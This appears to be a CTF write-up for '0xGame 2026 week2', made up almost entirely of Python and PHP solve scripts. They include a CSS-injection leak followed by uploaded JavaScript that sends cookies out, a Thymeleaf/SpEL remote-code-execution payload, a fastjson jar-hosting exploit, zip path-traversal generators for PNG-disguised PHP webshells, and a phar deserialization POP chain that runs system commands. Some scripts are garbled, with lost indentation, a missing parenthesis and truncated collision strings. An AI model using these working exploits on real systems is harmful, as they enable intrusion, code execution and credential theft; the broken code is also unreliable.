0xgame2026week2-WP

import re
import sys
try:
    import paramiko
except ImportError:
    print("[!] 缺少 paramiko，先执行：")
    print("    pip install paramiko -i https://mirrors.aliyun.com/pypi/simple/")
    sys.exit(1)
# ======================= 配置（改这三行） =======================
HOST = "nc1.ctfplus.cn"
PORT = 15709
USER = "repair"
PASS = "repair123"
# =============================================================
# 远端执行的脚本（和 bash 版逻辑完全一致，已实测）
REMOTE = r'''
set -u
echo "===== [1] 初始状态 ====="
sudo -n /usr/local/sbin/php-fpm-service status 2>&1
echo ""
echo "===== [2] 备份 + 修改 service.ini ====="
cd /srv/naiwa/config || exit 1
cp service.ini "service.ini.bak.$(date +%s)"
sed -i -e 's/^mode = .*/mode = production/' \
       -e 's/^maintenance = .*/maintenance = off/' \
       -e 's|^listen = .*|listen = 0.0.0.0:80|' \
       -e 's/^secret_backend = .*/secret_backend = enabled/' service.ini
cat service.ini
echo ""
echo "===== [3] 彻底停止旧实例（关键：等它死透再启动）====="
sudo -n /usr/local/sbin/php-fpm-service stop 2>&1
sleep 2
if pgrep -x php-fpm >/dev/null 2>&1; then
    echo "[!] 仍有残留进程，再等 2 秒"
    sleep 2
fi
echo "残留进程: $(pgrep -x php-fpm || echo 无)"
echo ""
echo "===== [4] 启动 php-fpm ====="
# 重定向输出：避免 daemon 继承 SSH 通道 fd 导致会话结束后进程被杀
sudo -n /usr/local/sbin/php-fpm-service start </dev/null >/tmp/fpm-start.log 2>&1
echo "start 退出码: $?"
cat /tmp/fpm-start.log
echo ""
echo "===== [5] 验证 ====="
sudo -n /usr/local/sbin/php-fpm-service status 2>&1 | tail -3
ls -la /run/php/ | grep php-fpm.sock
curl -s -o /dev/null -w "首页 HTTP: %{http_code}\n" http://127.0.0.1/


echo ""

echo "===== [6] 取 flag ====="

PW=$(grep -oP "adminPassword = '\K[^']+" /var/www/html/login.php)

echo "后台密码（源码硬编码）: $PW"

curl -s -c /tmp/c.txt -d "username=admin&password=$PW" \

     -o /dev/null -w "login HTTP: %{http_code}\n" http://127.0.0.1/login.php

FLAG=$(curl -s -b /tmp/c.txt http://127.0.0.1/admin.php | grep -o '0xGame{[^}]*}')

rm -f /tmp/c.txt

  

if [ -n "$FLAG" ]; then

    echo "POC_FLAG:$FLAG"

else

    echo "POC_NOFLAG"

fi

'''

def main() -> int:
    print("=" * 62)
    print(f" 目标: {USER}@{HOST}:{PORT}")
    print("=" * 62)

    client = paramiko.SSHClient()
   client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(HOST, port=PORT, username=USER, password=PASS,
                       timeout=20, banner_timeout=20, auth_timeout=20)
    except Exception as e:
        print(f"[!] SSH 连接失败: {e}")
        print("    检查：实例是否过期 / 端口是否变了（每次重开都会变）")
        return 1
    try:
        channel = client.get_transport().open_session()
        channel.settimeout(120)
        channel.exec_command("bash -s")
        channel.sendall(REMOTE.encode())
        channel.shutdown_write()          # 告诉远端 stdin 结束，bash 开始执行
        # 分段读取（避免 daemon 残留 fd 导致永久阻塞）
        out = b""
        while True:
            try:
                chunk = channel.recv(4096)
                if not chunk:
                    break
                out += chunk
            except Exception:
                break

        text = out.decode("utf-8", "replace")
        print(text)
        m = re.search(r"POC_FLAG:(0xGame\{[^}]+\})", text)
        if m:
            print("=" * 62)
            print(f" [+] FLAG: {m.group(1)}")
            print("=" * 62)
            return 0


        if "POC_NOFLAG" in text:
            print("[!] 没取到 flag —— 看上面哪一步不对（首页是否 200、login 是否 302）")
        else:
            print("[!] 输出不完整，可能连接被中断；重跑一次试试")
        return 1
    finally:
        client.close()

if __name__ == "__main__":

    sys.exit(main())

import urllib.request, urllib.parse, http.cookiejar, re, gzip, time, html, sys

BASE = (sys.argv[1].rstrip("/") if len(sys.argv) > 1
        else "http://80-94e1d51f-80d8-4fbe-933a-fd2c7b4c2f19.challenge.ctfplus.cn")
HEX = "0123456789abcdef"

cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
op.addheaders = [("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")]

def rd(r):
    b = r.read()
    if r.headers.get("Content-Encoding") == "gzip":
        b = gzip.decompress(b)
    return b.decode("utf-8", "replace")

def open1(req, retry=30):
    for _ in range(retry):
        try:
            r = op.open(req, timeout=30)
            return r.status, dict(r.headers), rd(r)
        except urllib.error.HTTPError as e:
            b = e.read().decode("utf-8", "replace")
            if len(b) < 80 and e.code >= 500:   # 平台偶发 502 空响应，重试
                time.sleep(0.4)
                continue
            return e.code, dict(e.headers), b
        except Exception:
            time.sleep(0.4)
    return -1, {}, ""

def get(p):
    return open1(urllib.request.Request(BASE + p))

def post(p, d):
    return open1(urllib.request.Request(BASE + p,
                 data=urllib.parse.urlencode(d).encode()))

get("/")
_, _, b = post("/create", {"title": "wp", "body": "hi",
                           "head_snippet": "<style></style>"})
SLUG = re.search(r'/manage/([0-9a-f]{8})', b).group(1)
TOKEN = re.search(r'token=([0-9a-f]{32})', b).group(1)
print("[*] slug=%s token=%s" % (SLUG, TOKEN))

def update(s):
    post("/manage/%s/update" % SLUG,
         {"token": TOKEN, "title": "wp", "body": "hi", "head_snippet": s})

def report():
    post("/manage/%s/report" % SLUG, {"token": TOKEN})

def logs():
    _, _, b = get("/logs?slug=%s&token=%s" % (SLUG, TOKEN))
    rows = []
    for tr in re.findall(r'<tr>(.*?)</tr>', b, re.S):
        tds = re.findall(r'<td[^>]*>(.*?)</td>', tr, re.S)
        if len(tds) >= 3:
            rows.append([html.unescape(re.sub(r'<[^>]+>', '', c)).strip()
                         for c in tds])
    return rows

def kinds():
    return set(r[1] for r in logs() if len(r) >= 2)

def wait_kind(k, timeout=150):
    t0 = time.time()
    while time.time() - t0 < timeout:
        if k in kinds():
            return True
        time.sleep(2)
    return False

def leak_round(prefix, idx):
    """返回下一位字符；base 出现但没有候选时自动重试。"""
    for attempt in range(1, 4):
        run = "p%d_%d" % (idx, attempt)
        css = ('<style>html{background-image:url("/collect/%s?kind=%s_base&value=1")}'
               % (SLUG, run))
        for c in HEX:
            css += ('body:has(input[name="review-script"][value^="%s%s"])'
                    '{background-image:url("/collect/%s?kind=%s_%s&value=1")}'
                    % (prefix, c, SLUG, run, c))
        css += "</style>"
        update(css)
        report()
        if not wait_kind(run + "_base"):
            print("[!] %s 没有活体回执，重试" % run)
            continue
        time.sleep(1.5)
        present = kinds()
        hit = [c for c in HEX if ("%s_%s" % (run, c)) in present]
        if len(hit) == 1:
            return hit[0]
        print("[!] %s 候选命中数=%d，重试" % (run, len(hit)))
    return None

prefix = "review-"
for i in range(6):
    c = leak_round(prefix, i)
    if c is None:
        print("[!] 第 %d 位泄漏失败，请重试" % i)
        sys.exit(1)
    prefix += c
    print("[+] 第 %d 位 -> %s，当前前缀 %s" % (i, c, prefix))

name = prefix + ".js"
print("[*] 审核脚本名: %s" % name)

# 等值校验：确认完整文件名
eq_run = "eq%d" % int(time.time())
css = ('<style>html{background-image:url("/collect/%s?kind=%s_base&value=1")}'
       'body:has(input[name="review-script"][value="%s"])'
       '{background-image:url("/collect/%s?kind=%s_eq&value=1")}</style>'
       % (SLUG, eq_run, name, SLUG, eq_run))
update(css); report()
if not wait_kind(eq_run + "_eq", 120):
    print("[!] 等值校验未命中，但继续尝试")
else:
    print("[+] 等值校验通过")

# 上传同名恶意 JS
js = ("(function(){try{var c=document.cookie;"
      "var s=(document.scripts&&document.scripts[0])||{};"
      "var d='base='+encodeURIComponent(document.baseURI)"
      "+'|src='+encodeURIComponent(s.src||'')"
      "+'|nonce='+encodeURIComponent(s.nonce||'')"
      "+'|cookie='+encodeURIComponent(c);"
      "new Image().src='/collect/%s?kind=diag&value='+encodeURIComponent(d);"
      "}catch(e){new Image().src='/collect/%s?kind=err&value='+encodeURIComponent(String(e));}})();"
      % (SLUG, SLUG))
post("/manage/%s/asset" % SLUG,
     {"token": TOKEN, "filename": name, "content": js})
print("[*] 已上传 %s" % name)

# 注入 base，触发审核
update('<style>body{}</style><base href="/uploads/%s/">' % SLUG)
report()

t0 = time.time()
while time.time() - t0 < 180:
    for r in logs():
        if len(r) >= 3 and r[1] in ("diag", "err"):
            print("[+] 回执:", r[2])
            v = urllib.parse.unquote(r[2])
            m = re.search(r'flag=(0xGame\{[^}]+\})', v)
            print("[+] FLAG:", m.group(1) if m else "未匹配到 flag")
            raise SystemExit
    time.sleep(2)
print("[!] 超时，未收到 diag/err 回执")

import urllib.request, urllib.parse, http.cookiejar, gzip, time, sys
BASE = "http://8080-255b6fd7-791a-46dd-a81f-e9ee0aa2f2ec.challenge.ctfplus.cn"
CMD = sys.argv[1] if len(sys.argv) > 1 else "cat /flag"
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
op.addheaders = [("User-Agent", "Mozilla/5.0")]
def rd(r):
    b = r.read()
    if r.headers.get("Content-Encoding") == "gzip":
        b = gzip.decompress(b
    return b.decode("utf-8", "replace")
def open1(req, retry=5, timeout=30):
    for _ in range(retry):
        try:
            r= op.open(req, timeout=30)
            return r.status, rd(r)
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode("utf-8", "replace")
        except Exception:
            time.sleep(0.2); continue
    return -1, "[EXC]"
def post(path, data):
    return open1(urllib.request.Request(BASE + path, data=urllib.parse.urlencode(data).encode()))
post("/login", {"username": "admin", "password": "admin123", "rememberMe": "true"})
LDR = "@securityManager.getClass().getClassLoader()"
RT = "%s.loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null)" % LDR
def rce(cmd, idx=2):
    P = "%s.getClass.getMethods.?[name=='exec'][%d].invoke(%s,'%s',null)" % (RT, idx, RT, cmd)
    frag = "__|$${#response.getWriter().print((%s).inputReader().lines().toList())}|__::.x" % P
    st, b = post("/monitor/cache/getNames", {"fragment": frag})
    return st, b
st, b = rce(CMD)
print(b)

import argparse
import json
import os
import re
import struct
import sys
import threading
import urllib.request
import zipfile
from functools import partial
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
FLAG_RE = re.compile(r"0xGame\{[^}]*\}|flag\{[^}]*\}")
class Pool:
def __init__(self):
self.tags = []
self.data = []
self.cache = {}
self.next = 1
def _add(self, key, tag, payload):
if key in self.cache:
return self.cache[key]
idx = self.next
self.next += 1
self.cache[key] = idx
self.tags.append(tag)
self.data.append(payload)
return idx
def utf8(self, s):
b = s.encode("utf-8")
return self._add(("u", s), 1, struct.pack(">H", len(b)) + b)
def cls(self, name):
return self._add(("c", name), 7, struct.pack(">H", self.utf8(name)))
def string(self, s):
return self._add(("s", s), 8, struct.pack(">H", self.utf8(s)))
def nat(self, n, d):
return self._add(("n", n, d), 12,
struct.pack(">HH", self.utf8(n), self.utf8(d)))
def methodref(self, c, n, d):
return self._add(("m", c, n, d), 10,
struct.pack(">HH", self.cls(c), self.nat(n, d)))
def dump(self):
out = bytearray(struct.pack(">H", self.next))
for tag, payload in zip(self.tags, self.data):
out.append(tag)
out += payload
return bytes(out)
def code_attr(name, stack, locals_, code):
body = struct.pack(">HHI", stack, locals_, len(code)) + code +
struct.pack(">HH", 0, 0)
return struct.pack(">HI", name, len(body)) + body
def make_class(internal, flag_path):
p = Pool()
obj = p.cls("java/lang/Object")
this = p.cls(internal)
jstr = p.cls("java/lang/String")
paths_get = p.methodref("java/nio/file/Paths", "get",
"(Ljava/lang/String;
[Ljava/lang/String;)Ljava/nio/file/Path;")
read_all = p.methodref("java/nio/file/Files", "readAllBytes", "
(Ljava/nio/file/Path;)[B")
str_init = p.methodref("java/lang/String", "<init>", "([B)
V")
trim = p.methodref("java/lang/String", "trim", "()Ljava/lang/String;")
obj_init = p.methodref("java/lang/Object", "<init>", "()V")
getflag = p.methodref(internal, "getFlag", "()Ljava/lang/String;")
code_name = p.utf8("Code")
rva_name = p.utf8("RuntimeVisibleAnnotations")
json_type = p.utf8("Lcom/alibaba/fastjson/annotation/JSONType;")
flag_const = p.string(flag_path)
getter = (b"\x12" + bytes([flag_const]) + b"\x03"
+ b"\xbd" + struct.pack(">H", jstr)
+ b"\xb8" + struct.pack(">H", paths_get)
+ b"\xb8" + struct.pack(">H", read_all)
+ b"\x4c"
+ b"\xbb" + struct.pack(">H", jstr)
+ b"\x59" + b"\x2b"
+ b"\xb7" + struct.pack(">H", str_init)
+ b"\xb6" + struct.pack(">H", trim)
+ b"\xb0")
def method(flags, name, desc, code, stack, locals_):
return (struct.pack(">HHHH", flags, p.utf8(name), p.utf8(desc), 1)
+ code_attr(code_name, stack, locals_, code))
methods = b""
methods += method(0x0001, "<init>", "()V",
b"\x2a\xb7" + struct.pack(">H", obj_init) + b"\xb1", 1,
1)
methods += method(0x0001, "getFlag", "()Ljava/lang/String;", getter, 3, 2)
methods += method(0x0001, "getValue", "()Ljava/lang/String;", getter, 3, 2)
methods += method(0x0001, "toString", "()Ljava/lang/String;",
b"\x2a\xb6" + struct.pack(">H", getflag) + b"\xb0", 1, 1)
head = struct.pack(">IHH", 0xCAFEBABE, 0, 52) + p.dump()
body = struct.pack(">HHHHHH", 0x0021, this, obj, 0, 0, 4) + methods
rva = struct.pack(">HI", rva_name, 6) + struct.pack(">HHH", 1, json_type,
0)
return head + body + struct.pack(">H", 1) + rva
def build_jar(path, flag_path, start, end):
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
for n in range(start, end + 1):
pkg = "fd%02d" % n
internal = "jar:file:/proc/self/fd/%d!/%s/Exception" % (n, pkg)
info = zipfile.ZipInfo("%s/Exception.class" % pkg, (1980, 1, 1, 0,0, 0))
info.compress_type = zipfile.ZIP_DEFLATED
z.writestr(info, make_class(internal, flag_path))
class QuietHandler(SimpleHTTPRequestHandler):
verbose = False
def log_message(self, fmt, *args):
if self.verbose:
sys.stderr.write("[serve] %s %s\n" % (self.address_string(), fmt %args))
class JarServer(threading.Thread):
def __init__(self, directory, port):
super().__init__(daemon=True)
handler = partial(QuietHandler, directory=directory)
self.httpd = ThreadingHTTPServer(("0.0.0.0", port), handler)
def run(self):
self.httpd.serve_forever()
def stop(self):
self.httpd.shutdown()
self.httpd.server_close()
def build_payload(hostint, port, start, end):
arr = [{"@type": "jar:http:..%s:%s.fd!.fd%02d.Exception" % (hostint, port,
start)}]
for n in range(start, end + 1):
arr.append({"@type": "jar:file:.proc.self.fd.%d!.fd%02d.Exception" %
(n, n)})
return json.dumps(arr, separators=(",", ":")).encode("utf-8")
def main():
ap = argparse.ArgumentParser(description="fastjson 1.2.83 /proc/self/fd
exploit")
ap.add_argument("target", help="⽬标地址，如 http://8080-
xxxx.challenge.ctfplus.cn")
ap.add_argument("hostint", nargs="?", default="796270110", help="托管 jar 的
整数 IP")
ap.add_argument("port", nargs="?", type=int, default=9999, help="托管端⼝")
ap.add_argument("flagpath", nargs="?", default="/flag", help="⽬标上的 flag
路径")
ap.add_argument("--fd-start", type=int, default=3)
ap.add_argument("--fd-end", type=int, default=100)
ap.add_argument("--timeout", type=float, default=60.0)
ap.add_argument("--verbose", action="store_true", help="打印每次 HTTP 请求")
ap.add_argument("--dir",
default=os.path.join(os.path.dirname(os.path.abspath(__file__)), "work"))
args = ap.parse_args()
QuietHandler.verbose = args.verbose
os.makedirs(args.dir, exist_ok=True)
jar_path = os.path.join(args.dir, "fd")
print("[1/3] ⽣成 payload jar -> %s" % jar_path)
build_jar(jar_path, args.flagpath, args.fd_start, args.fd_end)
print(" classes=%d range=%d..%d flagPath=%s"
% (args.fd_end - args.fd_start + 1, args.fd_start, args.fd_end,
args.flagpath))
print("[2/3] 启动托管 0.0.0.0:%d (dir=%s)" % (args.port, args.dir))
try:
server = JarServer(args.dir, args.port)
except OSError as exc:
print("[-] 端⼝ %d 绑定失败: %s（先停掉占⽤进程，或⽤ --port 换端⼝）"
% (args.port, exc))
return 2
server.start()
target = args.target.rstrip("/")
url = target + "/api/parse"
body = build_payload(args.hostint, args.port, args.fd_start, args.fd_end)
print("[3/3] POST %s （jar host = %s:%d）" % (url, args.hostint, args.port))
try:
req = urllib.request.Request(url, data=body,
headers={"Content-Type":
"application/json"})
with urllib.request.urlopen(req, timeout=args.timeout) as resp:
text = resp.read().decode("utf-8", "replace")
code = resp.status
finally:
server.stop()
m = FLAG_RE.search(text)
if m:
print("[+] FLAG = %s" % m.group(0))
return 0
print("[-] 没拿到 flag（http=%s，响应 %d 字节）" % (code, len(text)))
print("[-] 响应⽚段: %s" % text[:200].replace("\n", " "))
return 1
if __name__ == "__main__":
sys.exit(main())
#!/usr/bin/env bash
set -euo pipefail
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
exec python3 "$DIR/pwn.py" "$@"

import os  
import zipfile  
  
PNG_SIG = b"\x89PNG\r\n\x1a\n"  
ALLOWED_EXT = {"png", "jpg", "jpeg", "gif", "bmp"}  
TRAVERSE = "../../../pub/"  
  
  
def clean_visible(data):  
    """只保留 ASCII 可见字符(0x20-0x7E) + LF(0A)/CR(0D)，其余全删。  
    不保留 Tab(09)：服务端是否放行未知，删掉最保险（PHP 代码缩进用空格即可）。"""  
    return bytes(b for b in data if 0x20 <= b <= 0x7E or b in (0x0A, 0x0D))  
  
  
def main():  
    # ---------- 1. 源文件 ----------    src = input("源文件路径: ").strip().strip('"').strip("'")  
    if not os.path.isfile(src):  
        print("[错误] 文件不存在:", src)  
        return  
    with open(src, "rb") as f:  
        data = f.read()  
  
    # ---------- 2. 条目名 ----------    base = os.path.basename(src)  
    name = input("条目名（回车用 %s）: " % (TRAVERSE + base)).strip() or (TRAVERSE + base)  
    name = name.replace("\\", "/").lstrip("/")  
    if not name.startswith("../"):  
        name = TRAVERSE + name  
        print("[提示] 已自动补穿越前缀 -> %s" % name)  
  
    # ---------- 3. 后缀 ----------    leaf = name.rsplit("/", 1)[-1]  
    ext = leaf.rsplit(".", 1)[-1].lower() if "." in leaf else ""  
    dot_only = leaf.startswith(".") and leaf.count(".") == 1  
    if not dot_only and ext not in ALLOWED_EXT:  
        print("[警告] 后缀 '%s' 不在白名单，可能被拒。想用 PHP 就写成 xxx.php.png" % ext)  
  
    # ---------- 4. 内容清洗（核心修复）----------  
    print()  
    if data.startswith(PNG_SIG):  
        data = data[8:]  
        print("[提示] 源文件自带 PNG 魔数，已剥离（避免重复叠加）")  
  
    before = len(data)  
    data = clean_visible(data)  
    removed = before - len(data)  
  
    if removed:  
        ratio = (removed / before) if before else 0  
        print("[清洗] 删除 %d 个非可见字节（含 \\x00 及所有控制字符）" % removed)  
        if ratio > 0.3:  
            print("[警告] 删除比例 %.0f%%，源文件应该是二进制（zip/图片/可执行文件）" % (ratio * 100))  
            print("       清洗后内容已严重损坏，只剩可见字符残渣，不再是原文件。")  
            print("       本脚本只适合【纯文本源文件】，比如一个只写 PHP 代码的 txt。")  
            if input("       仍要继续？(y/N): ").strip().lower() != "y":  
                return  
    else:  
        print("[OK] 源文件本身全是可见字符，无需清洗")  
  
    # ---------- 5. 加 PNG 魔数 ----------    data = PNG_SIG + data  
    print("[OK] 已前置 8 字节 PNG 魔数")  
  
    # ---------- 6. 写 zip ----------    dst = os.path.join(os.path.expanduser("~"), "Desktop", "output.zip")  
    with zipfile.ZipFile(dst, "w", zipfile.ZIP_DEFLATED) as z:  
        z.writestr(name, data)  
  
    # ---------- 7. 自检 ----------    print()  
    print("完成:", dst)  
    print("条目名:", name)  
    print("长度:", len(data), "| \\x00:", data.count(0))  
    print("前16字节:", " ".join("%02X" % b for b in data[:16]))  
  
    ctrl = sorted(set(b for b in data if b < 0x20))  
    print("剩余控制字符:", ctrl, "（理想情况只有 10, 13, 26）")  
  
    checks = [  
        ("穿越", name.startswith("../")),  
        ("后缀", dot_only or ext in ALLOWED_EXT),  
        ("幻术头", data.startswith(PNG_SIG)),  
        ("无\\x00", data.count(0) == 0),  
        ("无多余控制符", all(b in (0x0A, 0x0D, 0x1A) for b in ctrl)),  
    ]  
    print("自检:", " ".join("%s%s" % ("√" if ok else "×", k) for k, ok in checks))  
  
  
if __name__ == "__main__":  
    main()

import os, re, zipfile  
  
PNG_SIG = b"\x89PNG\r\n\x1a\n"  
ALLOWED_EXT = {"png", "jpg", "jpeg", "gif", "bmp"}  
KEYWORDS = [b"system", b"exec", b"passthru", b"shell_exec", b"file_get_contents"]  
  
  
def main():  
    src = input("源文件路径: ").strip().strip('"').strip("'")  
    if not os.path.isfile(src):  
        print("[错误] 文件不存在:", src)  
        return  
    with open(src, "rb") as f:  
        data = f.read()  
  
    # 条目名：只保留纯文件名，强制无穿越  
    base = os.path.basename(src)  
    raw = input("条目名（回车用 %s）: " % base).strip() or base  
    name = raw.replace("\\", "/").rsplit("/", 1)[-1].lstrip(".")  
    if not name:  
        print("[错误] 条目名为空")  
        return  
    if name != raw:  
        print("[提示] 已强制去掉目录/穿越 ->", name)  
  
    leaf = name  
    ext = leaf.rsplit(".", 1)[-1].lower() if "." in leaf else ""  
    dot_only = leaf.startswith(".") and leaf.count(".") == 1  
    if not dot_only and ext not in ALLOWED_EXT:  
        print("[警告] 后缀 '%s' 不在白名单，可能被拒" % ext)  
  
    # 内容清洗：强制去 \x00、$、反引号、关键字  
    if data.startswith(PNG_SIG):  
        data = data[8:]  
    data = bytes(b for b in data if 0x20 <= b <= 0x7E or b in (0x0A, 0x0D))  
    data = data.replace(b"$", b"").replace(b"`", b"")  
    for kw in KEYWORDS:  
        data = re.sub(re.escape(kw), b"", data, flags=re.I)  
    data = PNG_SIG + data  
  
    dst = os.path.join(os.path.expanduser("~"), "Desktop", "output.zip")  
    with zipfile.ZipFile(dst, "w", zipfile.ZIP_DEFLATED) as z:  
        z.writestr(name, data)  
  
    body = data[8:]  
    ctrl = {b for b in data if b < 0x20} - {0x0A, 0x0D, 0x1A}  
    checks = [  
        ("无穿越", "/" not in name and "\\" not in name and not name.startswith("..")),  
        ("后缀", dot_only or ext in ALLOWED_EXT),  
        ("幻术头", data.startswith(PNG_SIG)),  
        ("无\\x00", 0 not in data),  
        ("无控制符", not ctrl),  
        ("无$", 0x24 not in body),  
        ("无反引号", 0x60 not in body),  
        ("无关键字", not any(k in body.lower() for k in KEYWORDS)),  
    ]  
    print("\n完成:", dst)  
    print("条目名:", name, "| 长度:", len(data))  
    print("前16字节:", " ".join("%02X" % b for b in data[:16]))  
    print("正文:", repr(body))  
    print("自检:", " ".join(("√" if ok else "×") + k for k, ok in checks))  
  
  
if __name__ == "__main__":  
    main()

import os, re, zipfile  
  
PNG_SIG = b"\x89PNG\r\n\x1a\n"  
ALLOWED_EXT = {"png", "jpg", "jpeg", "gif", "bmp"}  
TRAVERSE = "../../../pub/"  
KEYWORDS = [b"system", b"exec", b"passthru", b"shell_exec", b"file_get_contents"]  
  
  
def clean(data, level):  
    data = bytes(b for b in data if 0x20 <= b <= 0x7E or b in (0x0A, 0x0D))  
    if level >= 2:  
        data = data.replace(b"$", b"")  
    if level >= 3:  
        data = data.replace(b"`", b"")  
    if level >= 4:  
        for kw in KEYWORDS:  
            data = re.sub(re.escape(kw), b"", data, flags=re.I)  
    return data  
  
  
def main():  
    src = input("源文件路径: ").strip().strip('"').strip("'")  
    if not os.path.isfile(src):  
        print("[错误] 文件不存在:", src)  
        return  
    with open(src, "rb") as f:  
        data = f.read()  
  
    base = os.path.basename(src)  
    name = input("条目名（回车用 %s）: " % (TRAVERSE + base)).strip() or (TRAVERSE + base)  
    name = name.replace("\\", "/").lstrip("/")  
    if not name.startswith("../"):  
        name = TRAVERSE + name  
        print("[提示] 已补穿越前缀 ->", name)  
  
    leaf = name.rsplit("/", 1)[-1]  
    ext = leaf.rsplit(".", 1)[-1].lower() if "." in leaf else ""  
    dot_only = leaf.startswith(".") and leaf.count(".") == 1  
    if not dot_only and ext not in ALLOWED_EXT:  
        print("[警告] 后缀 '%s' 不在白名单" % ext)  
  
    print("\n1=清控制符  2=+$  3=+`  4=+关键字")  
    try:  
        level = max(1, min(4, int(input("级别 [默认 3]: ").strip() or "3")))  
    except ValueError:  
        level = 3  
  
    if data.startswith(PNG_SIG):  
        data = data[8:]  
    data = PNG_SIG + clean(data, level)  
  
    dst = os.path.join(os.path.expanduser("~"), "Desktop", "output.zip")  
    with zipfile.ZipFile(dst, "w", zipfile.ZIP_DEFLATED) as z:  
        z.writestr(name, data)  
  
    body = data[8:]  
    ctrl = {b for b in data if b < 0x20} - {0x0A, 0x0D, 0x1A}  
    checks = [  
        ("穿越", name.startswith("../")),  
        ("后缀", dot_only or ext in ALLOWED_EXT),  
        ("幻术头", data.startswith(PNG_SIG)),  
        ("无\\x00", 0 not in data),  
        ("无控制符", not ctrl),  
        ("无$", 0x24 not in body),  
        ("无反引号", 0x60 not in body),  
        ("无关键字", not any(k in body.lower() for k in KEYWORDS)),  
    ]  
    print("\n完成:", dst)  
    print("条目名:", name, "| 长度:", len(data))  
    print("前16字节:", " ".join("%02X" % b for b in data[:16]))  
    print("正文:", repr(body))  
    print("自检:", " ".join(("√" if ok else "×") + k for k, ok in checks))  
  
  
if __name__ == "__main__":  
    main()

import os, sys, zipfile

PNG_SIG = bytes.fromhex("89504e470d0a1a0a")
DESKTOP = os.path.join(os.path.expanduser("~"), "Desktop")
KEYWORDS = [b"system", b"exec", b"passthru", b"shell_exec", b"file_get_contents"]


def ap(p):
    p = p.strip().strip('"').strip("'")
    return p if os.path.isabs(p) else os.path.join(DESKTOP, p)


def build(name, code, out):
    name = name.strip().replace("\\", "/")
    body = bytes(b for b in code.encode("utf-8") if 0x20 <= b <= 0x7E or b in (0x0A, 0x0D))
    body = body.replace(b"$", b"").replace(b"`", b"")
    for kw in KEYWORDS:
        body = body.replace(kw, b"")
    data = PNG_SIG + body

    out = ap(out)
    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr(name, data)

    print("\n[完成]", out, "(%d 字节)" % os.path.getsize(out))
    print("条目名:", name)
    print("正文:", repr(body))
    print("前16字节:", " ".join("%02X" % b for b in data[:16]))
    checks = [
        ("无穿越", not name.startswith(("/", "../")) and ".." not in name.split("/")),
        ("后缀图片", name.lower().endswith((".png", ".jpg", ".jpeg", ".gif", ".bmp"))),
        ("8字节魔数", data.startswith(PNG_SIG)),
        ("无\\x00", 0 not in data),
        ("无$", b"$" not in body),
        ("无反引号", b"`" not in body),
        ("无关键字", not any(k in body.lower() for k in KEYWORDS)),
    ]
    print("自检:", " ".join(("√" if ok else "×") + k for k, ok in checks))


def main():
    # 用法: python x.py [new|mod|flag]
    mode = sys.argv[1] if len(sys.argv) > 1 else "new"

    if mode == "new":
        name = input("条目名 [默认 x.php.png]: ").strip() or "x.php.png"
        code = input("PHP 代码 [默认 <?= phpinfo() ?>]: ").strip() or "<?= phpinfo() ?>"
        out = input("输出 zip [默认 output.zip]: ").strip() or "output.zip"
        build(name, code, out)

    elif mode == "mod":
        src = ap(input("要修改的 zip: ").strip())
        with zipfile.ZipFile(src) as z:
            i = z.infolist()[0]
            old_name = i.filename
            old = z.read(old_name)
        body = old[8:] if old.startswith(PNG_SIG) else old
        print("当前条目名:", repr(old_name))
        name = input("新条目名（回车不变）: ").strip() or old_name
        code = input("新正文（回车不变）: ").strip() or body.decode("utf-8", "replace")
        out = input("输出 zip [默认 %s]: " % os.path.basename(src)).strip() or os.path.basename(src)
        build(name, code, out)

    elif mode == "flag":
        fp = input("flag 路径（如 /flag_xxx.txt）: ").strip()
        name = input("条目名 [默认 r.php.png]: ").strip() or "r.php.png"
        out = input("输出 zip [默认 read_flag.zip]: ").strip() or "read_flag.zip"
        build(name, "<?= readfile('%s') ?>" % fp, out)

    else:
        print("用法: python x.py [new|mod|flag]")


if __name__ == "__main__":
    main()

class inex {
    public $a; public $b;
    public function __wakeup() { $this->a = 'safe'; $this->b = 'safe'; }
    public function __destruct() { if ($this->a === 'evil') { echo ($this->b); } }
}

class clannad {
    public $a; public $b;
    public function __tostring() {
        if (strlen($this->b) < 4 && $this->b + 1 > 10000) {
            $this->a->fff(1);
            return $this->b;
        }
        return 'null';
    }
}

class air {
    public $md5a; public $md5b; public $arg1; public $arg2;
    public $last; public $afterreplaced; public $rce;
    public function __call($name, $arguments) {
        if (is_string($this->md5a) && is_string($this->md5b)
            && md5($this->md5a) === md5($this->md5b) && $this->md5a !== $this->md5b) {
            $last = new secretbase();
            $last->rce = 'hello';
            $last->aaa = $this->arg1;
            $last->bbb = $this->arg2;
            echo (serialize($last) . "\n");
            $afterreplaced = str_replace('cc', 'ddd', serialize($last));
            echo ($afterreplaced);
            $this->rce = unserialize($afterreplaced)->rce;
            if (!is_string($this->rce) || $this->rce === '' || strlen($this->rce) > 80
                || preg_match('/[^\x80-\xff~();" ]/', $this->rce)) {
                return;
            } else {
                eval ($this->rce);
            }
        }
    }
}

class secretbase { public $aaa; public $bbb; public $rce; }

class SOS {
    public $a;
    public function __wakeup() { unserialize($this->a); }
}

<?php
class clannad { public $a; public $b; }
class air {
    public $md5a; public $md5b; public $arg1; public $arg2;
    public $last; public $afterreplaced; public $rce;
}
class SOS { public $a; }

// 取反后的 payload
$P = '(~"' . (~'system') . '")(~"' . (~'cat /flag') . '");';
$T = '";s:3:"rce";s:' . strlen($P) . ':"' . $P . '";}';

$air = new air;
$air->md5a = "\x4d\xc9\x68\xff...";   // 碰撞串 A
$air->md5b = "\x4d\xc9\x68\xff...";   // 碰撞串 B（只差几个字节）
$air->arg2 = str_repeat('cc', strlen($T)) . $T;

$cl = new clannad;
$cl->a = $air;
$cl->b = '1e5';

$sos = new SOS;
$sos->a = $cl;

$f = 'pwn.png';
@unlink($f . '.phar');
@unlink($f);

$p = new Phar($f . '.phar');
$p->setStub("GIF89a<?php __HALT_COMPILER(); ?>");   // <- GIF 头 + phar stub
$p->setMetadata($sos);                                // <- 整条 pop 链塞进 metadata
